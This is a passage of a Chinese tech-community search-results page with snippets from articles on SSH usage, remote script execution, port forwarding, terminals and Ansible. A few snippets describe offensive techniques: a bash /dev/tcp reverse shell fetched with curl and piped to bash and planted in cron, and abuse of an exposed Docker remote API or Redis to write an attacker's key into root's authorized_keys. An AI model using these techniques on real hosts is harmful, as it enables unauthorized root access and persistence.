首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

通过JSch运行远程linux主机上的shell脚本

如果您看完文章之后,觉得对您有帮助,请帮我点个赞,您的支持是我不竭的创作动力! 运行远程主机上的shell脚本 下面的例子是教给大家如何通过java程序,运行远程主机上的shell脚本。...(我讲的不是一个黑客学习教程,而是使用用户名密码去执行有用户认证资格的主机上的shell脚本)。并且通过java程序获得shell脚本的输出。...首先通过maven坐标引入JSch依赖库,我们正是通过JSch去执行远程主机上的脚本。...,远程主机已经开通SSH服务(也就是我们平时登录主机所使用的服务)。...并且在远程主机上,为这个脚本设置可执行权限,方法如下: $ chmod +x hello.sh 本地java程序 我们可以使用下面的代码,去远程的linux 主机执行shell脚本,详细功能请看代码注释

2.2K00

使用SSH连接远程主机并执行多个Bash命令最优雅的方法是什么

问题 我已经设置好了ssh代理,我可以用Bash脚本在外部服务器上运行命令,执行以下操作: ssh blah_server "ls; pwd;" 现在,我真正想做的是在外部服务器上运行许多长命令。...将所有这些命令都放在引号之间看起来会很不美观,而且我确实不想为了避开这个问题而多次使用SSH连接。 那么,有没有一种方法可以让我一次性完成这个操作,比如用括号或其他方式来包含所有的命令?...我在寻找类似这样的方法: ssh blah_server ( ls some_folder; ....回答 使用 Here-Document: ssh user@remote_host << EOF 命令1 命令2 命令3 EOF 不过这样执行会有一个问题: 输出信息的开头都有一句提示 "Pseudo-terminal...如果要避免这个提示信息,可以将上述命令的第一行改为 ssh user@remote_host /usr/bin/bash << EOF 朋友们可以拿手上的测试环境试一试。

18410
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Linux 远程连接之 SSH 新手指南

    在每台主机上激活 SSH 要通过 SSH 连接两台计算机,每个主机都必须安装 SSH。SSH 有两个组成部分:本地计算机上使用的用于启动连接的命令,以及用于接收连接请求的 服务器。...要通过 SSH 连接到远程计算机,你必须知道其 IP 地址或可解析的主机名。...-f 选项代表 文件,指定了密钥的文件名和位置。运行此命令后会生成一个名为 lan 的 SSH 私钥和一个名为 lan.pub 的 SSH 公钥。...使用 ssh-copy-id 命令把公钥发送到远程机器上,在此之前要先确保具有远程计算机的 SSH 访问权限。...操作成功后,使用 -i 选项将 SSH 命令指向对应的密钥(在本例中为 lan)再次尝试登录: $ ssh -i ~/.ssh/lan sethkenlon@10.1.1.5 bash$ whoami

    4.3K40

    Web Terminal 预备知识

    TTY 和 PTY 回顾历史 几十年前,人们将 Teleprinter(电传打字机) 连接到早期的大型计算机上,作为输入和输出设备,将输入的数据发送到计算机,并打印出响应。...电传打字机通过两根电缆连接:一根用于向计算机发送指令,一根用于接收计算机的输出。...终端不再是一个需要通过 UART 连接到计算机上物理设备。终端成为内核的一个模块,它可以直接向 TTY 驱动发送字符,并从 TTY 驱动读取响应然后打印到屏幕上。...远程终端 我们经常通过 ssh 连接到一个远程主机,这时候远程主机上的 ssh server 就是一个伪终端 PTY,它同样持有 PTY master,但 ssh server 不再监听键盘事件,以及在屏幕上绘制输出结果...我们简单梳理一下远程终端是如何执行命令的。 用户在客户端的 terminal 中输入 ssh 命令,经过 PTY master、TTY 驱动,到达 PTY slave。

    1.5K20

    如何在远程服务器上运行Jupyter Notebooks?

    如果处于这种情况,可以通过在笔记本电脑上编写一个python脚本来设置实验,在数据的一小部分上运行它来验证它是否可以运行,将它复制到远程服务器,然后从命令行执行它。...在本文中,我将向您展示如何在远程服务器上运行Jupyter Notebook,以及如何在您的笔记本上访问它。我还将演示如何设置两个bash命令以简化整个过程。...这是个人偏好;将本地和远程笔记本放在不同的端口上,以便更容易地查看代码运行的位置。 要在远程服务器上执行命令,我们运行组合命令。...该配置指定所有发送到本地计算机上的端口8889(例如,您的笔记本电脑)的请求都要发送到远程计算机上的端口8889(用户名:password@remote_server_ip)。...这允许您使用常用的CTRL+C键盘命令关闭笔记本服务器。 梳理你的工作流程 记住所有这些命令可能非常麻烦。幸运的是,我们可以通过为每个命令创建bash别名来简化工作。

    3.9K20

    快速使用Linux系统中SSH

    SSH代理跳板机是一种在Linux系统中使用SSH协议实现的代理服务器。通过配置相关设置,将本地计算机与远程服务器通过SSH隧道连接起来,实现远程访问和数据传输。...这样一来,我们可以使用本地计算机来访问和管理远程服务器,同时也保障了数据的安全性。设置SSH代理跳板机的步骤1. 准备远程服务器:首先,我们需要有一台远程服务器,确保SSH服务正常运行。2....生成SSH密钥对:在本地计算机上生成SSH密钥对,包括公钥和私钥。我们可以使用命令`ssh-keygen`来生成密钥对。3....连接远程服务器:使用SSH客户端工具连接远程服务器,验证密钥对的有效性。5. 使用SSH代理跳板机:配置完成后,就可以通过本地计算机来访问和管理远程服务器了。...SSH Agent Forwarding:SSH Agent Forwarding是一种方便的技巧,允许您通过跳板机连接到其他服务器,而无需在跳板机上维护私钥。

    39620

    【系统和网络软件】51component为您带来适用于Windows的系统和网络软件——MobaXterm与MobaSSH

    服务器、选项卡式SSH客户端、网络工具等的增强型Windows终端MobaXterm X服务器和SSH客户端01、用于远程计算MobaXterm 是您用于远程计算的终极工具箱。...02、远程网络工具和Unix命令MobaXterm为Windows桌面提供所有重要的远程网络工具(SSH、X11、RDP、VNC、FTP、MOSH...)和Unix 命令(bash、ls、cat、sed.../Linux、Unix、HP-UX、AIX、Windows 等)在远程Windows PC上运行命令和传输文件。...主要特征01、适用于Windows的远程脚本在远程Windows计算机上执行命令02、安全地共享您的文件通过加密的SSH通道传输文件03、远程监控检索有关远程计算机的信息04、远程软件部署在远程Windows...计算机上静默安装软件05、远程管理静默管理远程Windows计算机。

    1.1K50

    如何设置 SSH 隧道(端口转发)

    本地端口转发 本地端口转发允许您将本地 (ssh 客户端)计算机上的端口转发到远程 (ssh 服务器)计算机上的端口,然后将其转发到目标计算机上的端口。...例如,您在计算机上运行另一个 MySQL 数据库服务器, db002.host 并且您希望从您将运行的本地客户端连接到两个服务器: ssh -L 3336:db001.host:3306 3337:db002...目标主机与 SSH 服务器相同时,而不是指定可以使用的目标主机 IP 或主机名 localhost 。 假设您需要通过在同一服务器上运行的 VNC 连接到远程计算机,并且无法从外部访问它。...您将使用的命令是: ssh -L 5901:127.0.0.1:5901 -N -f user@remote.host 该 -f 选项告诉 ssh 命令在后台运行而 -N 不是执行远程命令。...它允许您将远程 (ssh 服务器)计算机上的端口转发到本地 (ssh 客户端)计算机上的端口,然后将其转发到目标计算机上的端口。

    7.9K21

    理解Linux 终端、终端模拟器和伪终端

    后来人们将 Teleprinter 连接到早期的大型计算机上,作为输入和输出设备,将输入的数据发送到计算机,并打印出响应。...终端不再是一个需要通过 UART 连接到计算机上物理设备。终端成为内核的一个模块,它可以直接向 TTY 驱动发送字符,并从 TTY 驱动读取响应然后打印到屏幕上。...远程终端 我们经常通过 ssh 连接到一个远程主机,这时候远程主机上的 ssh server 就是一个伪终端 PTY,它同样持有 PTY master,但 ssh server 不再监听键盘事件,以及在屏幕上绘制输出结果...我们简单梳理一下远程终端是如何执行命令的。 用户在客户端的 terminal 中输入 ssh 命令,经过 PTY master、TTY 驱动,到达 PTY slave。...Shell 负责解释执行用户输入的字符。 可以使用 stty 命令对 TTY 设备进行配置。 远程终端 ssh 也是一种伪终端 PTY。

    50810

    腾讯云TDP-复盘轻量入侵过程实现自我入侵初体验

    ip访问白名单, 在本地执行如下命令,将会连接到轻量的docker主机上。...//执行远程挂载命令,- -it是指交互式终端方式 -v是挂载目录,注意这里的/root是指开启docker远程访问的机上的目录,在这里是轻量主机,并不是本机的/root目录。...centos 是运行一个linux镜像,如果不存在则去拉取一个新的并运行 /bin/bash 镜像启动后启动一个bash [挂载centos镜像] 因为轻量服务器本身支持root远程连接,所以不用单独修改...需要配置ssh免密访问,需要注意一下几点才可以成功 获取本机的ssh公钥,所在目录为/root/.ssh/id_rsa.pub (名字不一定是这个),如果不存在,则可以通过ssh-keygen命令生成...权限最少为400 [在docker centos镜像中配置本机的密钥] 在本机上通过ssh 轻量的公网ip(如果你的ssh端口没有改过的话) 即可实现免密登录。

    1.7K73

    技术|通过 ssh 会话执行 bash 别名

    我在远程主机上上设置过一个叫做file_repl的bash别名。当我使用ssh命令登录远程主机后,可以很正常的使用这个别名。...ssh命令运行bash别名呢?...SSH客户端(ssh)是一个登录远程服务器并在远程系统上执行shell命令的Linux/Unix命令。它被设计用来在两个非信任的机器上通过不安全的网络(比如互联网)提供安全的加密通讯。...你不能直接执行像file_repl这样的别名: $sshuser@remotefile_repl在Unix系统上无法直接通过ssh客户端执行bash别名要解决这个问题可以用下面方法运行ssh命令: $ssh-tuser...总之,要运行一个名叫ll的bash别名,可以运行下面命令: $ssh-tvivek@server1.cyberciti.biz-ic'll'结果为: 下面是我的一个shell脚本的例子: #!

    67530

    Ansible 自动化运维笔记(总结)

    端口与别名 ssh默认的端口是22 (此时的Ansible主机配置文件可以省略),但是如果某些主机的ssh运行在自定义的端口上,Ansible使用Paramiko进行ssh连接时不会使用你ssh配置文件中列出的端口...Shell shell 模块可以帮助我们在远程主机上执行命令,它与 command 模块不同之处是 shell 模块在远程主机中执行命令时,会运行远程主机上的 /bin/sh 程序处理,也就是说它不是直接执行命令...all -m shell -a "executable=/bin/bash uname -r" -o Script script 模块可以帮助我们在远程主机上执行我们编写的管理主机的脚本,也就是说,脚本一直存在于你的管理主机本地...模块类似,不过fetch模块是从远程主机中拉取文件到 ansible 管理主机,而 copy 模块是将 ansible 管理主机上的文件拷贝到远程主机中,文件的变化是通过MD5值来判断的....) ansible_processor_vcpus 显示cpu个数(只显示总的个数) 1.通过setup命令获取远程主机的主机信息.

    2.2K20

    【Jetbrains全家桶】PyCharm专业版远程开发Remote Development合集(SSH、JetBrains Space、WSL、Dev Containers)

    )是一种加密的网络协议,用于在网络中安全地访问远程计算机,允许用户通过加密的连接登录到远程设备,并执行命令、传输文件等操作。...PyCharm可以通过SSH连接到远程服务器,允许用户编辑和运行代码,还可以进行远程调试。 用户可以直接在自己的本地环境中调试远程代码,无需在远程服务器上设置调试环境。 官方说明文档 1....Windows 子系统 (WSL) 是 Windows 的一项功能,可用于在 Windows 计算机上运行 Linux 环境,而无需单独的虚拟机或双引导。...WSL 旨在为希望同时使用 Windows 和 Linux 的开发人员提供无缝高效的体验。开发人员可以在 Windows 计算机上同时访问 Windows 和 Linux 的强大功能。   ...Windows 上使用 Linux 应用程序、实用程序和 Bash 命令行工具,不用进行任何修改,也无需承担传统虚拟机或双启动设置的费用。

    53710

    做一次黑客,入侵一次自己的服务器

    而入侵者通过docker远程服务和redis的快照功能,将某台主机的公钥写入到authorized_keys,而免密登录目标主机,获取root权限的行为,就是ssh公钥提权。...docker远程服务入侵 其原理是利用docker的远程服务,可以远程在靶机上起一个docker容器,并将靶机.ssh目录挂载到容器中,然后进入docker的bash,直接将公钥写入到authorized_keys...docker ps 接着我们看看这台主机上有什么镜像: images 远程运行容器 在B主机上执行以下命令,即可在B主机上远程使用A主机上的镜像,在A主机上运行一个容器。...通过-v将/root/.ssh目录挂载到容器中的/tmp/root目录下,那么在容器中就可以直接修改A主机上的authorized_keys,这里我只要将B主机的公钥添加进去,B主机就可以免密登录A主机了...运行容器 如图,创建并运行了一个容器后,直接通过bash进入了容器。 写入公钥,实现入侵登陆 在容器中,查看authorized_keys文件的内容。

    81710

    「工具」sync-deploy - 让远程命令操作更简单

    不知道你是否也曾像我一样面对这样的问题:想要简单的在远程主机上上传下载数据文件、运行个命令,但要么需要通过ssh直接登录主机,要么需要频繁的输入ssh或scp等命令以及ip地址,密码。...sync-deploy工具集是我 2017 年在解决这样的问题以及远程部署 PBS 计算任务不便时开始写,其实质是一堆 shell 脚本。...如果使用的其他sh,比如zsh,那么系统识别路径不是上述两者,可以通过-d选项指定。 除了sync-command命令没有选项,其他命令基本都有选项需要指定。...使用 使用可以分为4种类型: 上传/下载文件 运行命令或脚本 增加/删除以及切换主机 PBS任务计算 下面我列出对应的命令,使用非常简单,可以通过命令 + h选项的方式阅读使用说明(除了sync-command.../test 上传/下载文件 sync-upload - 上传文件(夹) sync-download - 下载文件(夹) 运行命令或脚本 sync-commad - 后面直接接运行的远程主机命令,命令最好用引号括起来

    77410

    用autossh工具进行端口转发

    这时,我们可以通过设置ssh来进行服务的访问。但是还有两个问题:你需要保持终端开启防止SSH进程被关闭;由于网络故障/波动导致SSH终断时无法自动重连。...(客户机)的某个端口转发到远端指定机器的指定端口 5 -f 后台运行 6 -T 不占用 shell 7 -n 配合 -f 参数使用 8 -N 不执行远程命令 9 -q 安静模式运行;忽略提示和错误 命令使用演示...# 本地端口绑定(在host1服务器上面运行) # 将所有发送到本机的8527端口的所有数据转发到远程主机的8000端口 ssh -vv -N -D localhost:8527 [email protected...] -p 8000 # 主要是为了更新安全的运行ssh服务 autossh -M 5678 -vv -N -D localhost:8527 [email protected] -p 8000 Bash...上面设置 # 将在host1主机上开启一个本地侦听的5900端口 # 这样之后,访问本地5900端口的流量将转发至host2的8080端口 # 其中-M参数负责通过5678端口监视连接状态,连接有问题时就会自动重连

    5.2K20

    从云课五分钟到一分钟之v-rep_pro_edu_v3_6_2

    如果V-REP是一个图形界面的应用程序,确保你的系统有图形界面环境,或者通过适当的设置(如SSH的X11转发)在远程服务器上运行图形应用程序。 当然,我会更加详细全面地解释你提供的脚本和步骤。...git clone会复制整个仓库的内容,包括所有的提交历史、分支、标签等,到你的本地计算机上。...运行V-REP启动脚本 bash复制代码 ./vrep.sh 这条命令运行V-REP提供的启动脚本vrep.sh。这个脚本通常用于设置环境变量、启动V-REP服务或执行其他必要的启动前操作。...通过执行这个脚本,你可以确保V-REP能够在正确的环境下运行。 步骤解释 1....在运行图形界面的应用程序(如V-REP)时,确保你的系统已经安装了必要的图形驱动和桌面环境。如果你是在远程服务器上运行,你可能需要使用SSH的X11转发或其他远程桌面解决方案来显示图形界面。

    10300

    如何反弹shell

    curl和wget的区别 wget是个专职的下载利器,简单,专一,极致;而curl可以下载,但是长项不在于下载,而在于模拟提交web数据,POST/GET请求,调试网页,等等。...ssh 简单来书,ssh 和 telnet 是实现相同的功能 , ssh中 数据是经过加密的,是安全的 , 而 Telnet是明文传输的,ssh 是加密的,基于 SSL 。...远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢? 有如下情况: 1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。...tcp/Target_IP/Target_Port 0>&1" 然后在目标机上执行如下,即可反弹shell curl Target_IP|bash 将反弹shell的命令写入定时任务 我们可以在目标主机的定时任务文件中写入一个反弹...因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/ 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

    91410

    做一次黑客,入侵一次服务器

    docker远程服务入侵 其原理是利用docker的远程服务,可以远程在靶机上起一个docker容器,并将靶机.ssh目录挂载到容器中,然后进入docker的bash,直接将公钥写入到authorized_keys...[docker ps] 接着我们看看这台主机上有什么镜像: [images] 远程运行容器 在B主机上执行以下命令,即可在B主机上远程使用A主机上的镜像,在A主机上运行一个容器。...通过-v将/root/.ssh目录挂载到容器中的/tmp/root目录下,那么在容器中就可以直接修改A主机上的authorized_keys,这里我只要将B主机的公钥添加进去,B主机就可以免密登录A主机了...[运行容器] 如图,创建并运行了一个容器后,直接通过bash进入了容器。 写入公钥,实现入侵登陆 在容器中,查看authorized_keys文件的内容。..."" 使用非root用户运行redis 通过requirepass来设置密码 禁止使用动态配置 这样,在命令行就无法使用config命令进行动态配置。

    2.3K74
    领券